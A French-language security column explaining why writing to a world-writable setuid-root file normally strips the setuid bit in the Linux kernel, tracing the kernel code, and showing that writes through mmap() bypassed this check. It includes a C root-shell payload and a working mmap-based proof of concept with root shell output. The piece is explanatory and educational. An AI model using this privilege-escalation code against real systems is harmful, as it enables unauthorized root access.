--[ 15. Le saviez-vous ? La réponse ]------------------------------------ Un nombre important de personnes pensent de prime abord que c'est exploitable : les droits en écriture pour tous sont positionnés sur le fichier, il sera donc possible de le modifier pour y placer du code qui pourrait ressembler, en C par exemple, à : #include main(){ char *sh[]={"/bin/sh",NULL}; setuid(0); execve(sh[0], sh , 0); } Comme le bit setuid est présent et que le fichier appartient à root, une fois lancé, nous devrions être en présence d'un shell root, et donc les maîtres de la machine. Oui... mais non : les noyaux Linux sont protégés contre cette possibilité. En cas de modification de la part d'un utilisateur non propriétaire du fichier, le bit setuid est supprimé. Cette fonctionnalité a été implémentée dans le noyau linux à partir du noyau 2.2 et répond ainsi à la norme POSIX (POSIX.1). Les UNIX en général implémentent cette norme et possèdent donc cette protection. (AIX, FreeBSD et Solaris sont par exemple protégés). La trace de cette désactivation est visible dans le code source du noyau, en suivant ce que fait le syscall write (les exemples qui suivent sont valables à partir du noyau 2.6.19, les fonctions ayant beaucoup évoluées par rapport aux versions précédentes) : - le syscall write (décrit dans fs/read_write.c), va faire appel à la fonction du vfs, vfs_write(), qui après quelques vérifications (access_ok(), rw_verify_area(), etc), va faire appel à une fonction référencée par file->f_op->write(). - Le système de fichier EXT (comme beaucoup d'autres) implémente la fonction write en utilisant generic_file_aio_write() (définie dans mm/filemap.c). Cette fonction utilise __generic_file_aio_write_nolock() qui elle-même fait appel à ... remove_suid(). La fonction remove_suid utilise should_remove_suid() qui va positionner un drapeau : KILL = ATTR_KILL_SUID Une fois positionné, l'exécution du syscall permet d'arriver à la fonction notify_change() (fs/attr.c), qui contient le code suivant : if (ia_valid & ATTR_KILL_SUID) { if (mode & S_ISUID) { ia_valid = attr->ia_valid |= ATTR_MODE; attr->ia_mode = (inode->i_mode & ~S_ISUID); Voila, plus de bit SUID. Alors ? Pas exploitable ? Et bien en fait si, mais pas directement et en raison d'un "manque" dans le noyau Linux. La trace du syscall (avec des options standards) permet de remarquer que pour pouvoir implémenter cette sécurité partout, il va falloir penser à toutes les solutions et options possibles (par exemple avec truncate() ) lors de l'accès en écriture à ce type de fichier et donc appeler à chaque fois le code pour désactiver le SUID. Du coup, tout repose sur les développeurs kernel : ont-ils pensé à tout ? Un rapide tour des possibilités permet de se rendre compte que non, une fonction va nous servir pour exploiter le fichier. Cette fonction est mmap(), qui va nous permettre de "mapper" en mémoire le contenu d'un fichier, puis d'écrire en mémoire et de finir en dé-"mappant". Dans ces cas là, La fonction remove_suid() n'est pas appelée. Une petit preuve de concept (vite codée) : Le code suivant va mapper le fichier en mémoire, puis va lire un fichier qui contient le code cité au début et l'écrire dans la zone mémoire mappée : #include #include #include main() { int fd,fc; void* dest; char buf[520]; fd=open("givemeashell", O_RDWR); fc=open("rootsh", O_RDONLY); read(fc, buf, 516); dest=mmap(NULL, 1024, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); memcpy(dest, buf, 516); munmap(dest, 1024); close(fc); } Une fois compilé et lancé, testons le résultat : $ ./givemeashell sh-3.2# id uid=0(root) gid=1000(Iv) groups=20(dialout),1000(Iv) -- Yves Le Provost